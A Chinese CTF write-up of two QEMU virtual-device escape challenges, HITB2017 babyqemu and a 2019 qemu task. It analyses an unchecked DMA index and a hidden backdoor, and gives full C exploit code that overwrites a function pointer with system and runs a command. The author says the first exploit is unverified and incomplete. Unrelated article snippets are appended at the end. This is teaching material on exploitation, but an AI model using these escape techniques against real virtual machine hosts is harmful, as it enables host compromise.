【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu
前言
由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。
HITB2017-babyqemu
设备逆向
设备定位啥的就不说了,先看下实例结构体:
其中 dma_state 结构体如下:
这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。
这里为了方便,我把函数的功能直接写出来了
hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。
然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l
漏洞就在该时钟任务中:
可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。
漏洞利用
由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。
即:
exp 如下:由于环境,exp 没有经过验证
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}
2019数字经济-qemu
用户名:root(无密码)
该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。
这题没有符号,但是挺简单的,白给的后门。
mmio_read 里面存在后门:
但是这里有一个 check:
而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:
exp 如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] = "xcalc;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);return *(int*)mmio_base;
}
xi
效果如下:
相关文章:

【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu
前言 由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了,先看下实例结构体: 其中 dma_state 结构体如下: 这里看字段猜测…...
Docker Compose学习笔记
Docker Compose用来做什么? Docker Compose 是Docker官方的开源项目。 Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single …...
基于树 二叉树的回溯搜索算法(DPLL)
1)全称:Davis-Putnam-Logemann-Loveland 2)思想:基于树/二叉树的回溯搜索算法,主要基于两种策略。 单子句规则:如果一个CNF范式中存在单子句L(含有一个文字的子句),取L为…...
【嵌入式】适用于ESP32/ESP8266远程自动烧录工具
文章目录 介绍开始使用下载项目开启服务端开始远程烧录 后记 介绍 esp_remote_flash_tool 是一款基于 esptool.py 的远程自动烧录工具,支持 ESP32 和 ESP8266。 使用场景 基于 ESP-IDF 、ESP8266 NONO SDK、ESP8266 RTOS SDK 进行开发的项目项目代码存储在 Linux…...

服务器遭受攻击如何处理(记录排查)
本文的重点是介绍如何鉴别安全事件以及保护现场的方法,以确保服务器负责人能够在第一时间对安全攻击做出反应,并在最短时间内抵御攻击或减少攻击所带来的影响。 在服务器遭遇疑似安全事件时,通常可以从账号、进程、网络和日志四个主要方面进…...

分享81个工作总结PPT,总有一款适合您
分享81个工作总结PPT,总有一款适合您 PPT下载链接:https://pan.baidu.com/s/13hyrlZo2GhRoQjI-6z31-w?pwd8888 提取码:8888 Python采集代码下载链接:采集代码.zip - 蓝奏云 学习知识费力气,收集整理更不易。知识付…...

什么是DITA?从百度的回答说起
▲ 搜索“大龙谈智能内容”关注GongZongHao▲ 什么是DITA? 把这个问题输入百度,获得以下回答: DITA 是“Darwin Information Typing Architecture”(达尔文信息类型化体系结构)的缩写,它是IBM 公司为OASIS 所支持…...

线扫相机DALSA软件开发套件有哪些
Win10和Win7系统完整SDK目录截图: Sapera Configuration 缓存与内存管理,以及通信端口配置工具,部分功能等效于Detection(查找相机)内的Settings。 Sapera Log Viewer 打开Log Viewer后会显示之前发生过的所有与Sapera LT软件有关的运行信息…...

Scala集合操作
1 集合简介 Scala 中拥有多种集合类型,主要分为可变的和不可变的集合两大类: 可变集合: 可以被修改。即可以更改,添加,删除集合中的元素; 不可变集合类:不能被修改。对集合执行更改,…...
SQL备忘--特殊状态“未知“以及“空值NULL“的判断
一、新逻辑状态:未知 对于大多数其他语言的逻辑判断,一般只有两种结果:真(TURE)或假(FALSE)但在SQL中,还会有第三种判断结果:未知(UNKNOWN),表示无法判断出真或者假。 未知状态会影响传统逻辑运算&#x…...

《Pytorch新手入门》第一节-认识Tensor
《Pytorch新手入门》第一节-认识Tensor 一、认识Tensor1.1 Tensor定义1.2 Tensor运算操作1.3 Tensor与numpy转换 参考《深度学习框架PyTorch:入门与实践_陈云(著)》 一、认识Tensor 1.1 Tensor定义 Tensor 是 PyTorch 中重要的数据结构,可认为是一个高…...

【JAVA学习笔记】55 - 集合-Map接口、HashMap类、HashTable类、Properties类、TreeMap类(难点)
项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter14/src/com/yinhai/map_ Map接口 一、Map接口的特点(难点) 难点在于对Node和Entry和EntrySet的关系 注意:这里讲的是JDK8的Map接口特点 Map java 1) Map与Collect…...
Pytorch图像模型转ONNX后出现色偏问题
本篇记录一次从Pytorch图像处理模型转换成ONNX模型之后,在推理过程中出现了明显色偏问题的解决过程。 问题描述:原始pytorch模型推理正常,通过torch.onnx.export()函数转换成onnx之后,推理时出现了比较明显的颜色偏差。 原始模型…...

插值表达式 {{}}
前言 持续学习总结输出中,今天分享的是插值表达式 {{}} Vue插值表达式是一种Vue的模板语法,我们可以在模板中动态地用插值表达式渲染出Vue提供的数据绑定到视图中。插值表达式使用双大括号{{ }}将表达式包裹起来。 1.作用: 利用表达式进行…...
白雪公主
前言 #define 皇后 王后 在很久很久以前,有一个国王,由于王后难产致死,导致生下的孩子没母,由于缺爱,变的非常的刻薄 由于公主过于刻薄,以至于见到她的人都面色煞白感到空中飘雪 37C 的嘴怎能说出如此刻薄的话语。为了…...
宏观角度认识递归之合并两个有序链表
21. 合并两个有序链表 - 力扣(LeetCode) 依旧是利用宏观角度来看待问题,其中最主要的就是要找到重复的子问题; 题目中要求把两个有序链表进行合并,同时不能够创建新的节点,并返回链表的起始点:因…...

Leetcode-509 斐波那契数列
使用循环 class Solution {public int fib(int n) {if(n 0){return 0;}if(n 1){return 1;}int res 0;int pre1 1;int pre2 0;for(int i 2; i < n; i){res pre1 pre2;pre2 pre1;pre1 res;}return res;} }使用HashMap class Solution {private Map<Integer,Int…...
解密 docker 容器内 DNS 解析原理
背景 这几天在使用 docker 中,碰到了在容器中 DNS 解析的一些问题。故花些时间弄清了原理,写此文章分享。 1. docker run 命令启动的容器 以启动一个 busybox 容器为例: rootubuntu20:~# docker run -itd --name u1 busybox 63b59ca8aeac…...

故障诊断模型 | Maltab实现SVM支持向量机的故障诊断
效果一览 文章概述 故障诊断模型 | Maltab实现SVM支持向量机的故障诊断 模型描述 Chinese: Options:可用的选项即表示的涵义如下 -s svm类型:SVM设置类型(默认0) 0 – C-SVC 1 --v-SVC 2 – 一类SVM 3 – e -SVR 4 – v-SVR -t 核函数类型:核函…...

开源的网站数据分析统计平台——Matomo
Matomo 文章目录 Matomo前言一、环境准备1. 整体安装流程2.安装PHP 7.3.303.nginx配置4.安装matomo4.1 访问安装页面 http://192.168.10.45:8088/index.php4.2 连接数据库4.3 设置管理员账号4.4 生成js跟踪代码4.5 安装完成4.6 警告修改4.7 刷新页面,就可以看到登陆…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)
前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 …...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...

[ACTF2020 新生赛]Include 1(php://filter伪协议)
题目 做法 启动靶机,点进去 点进去 查看URL,有 ?fileflag.php说明存在文件包含,原理是php://filter 协议 当它与包含函数结合时,php://filter流会被当作php文件执行。 用php://filter加编码,能让PHP把文件内容…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的:a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
k8s从入门到放弃之HPA控制器
k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率(或其他自定义指标)来调整这些对象的规模,从而帮助应用程序在负…...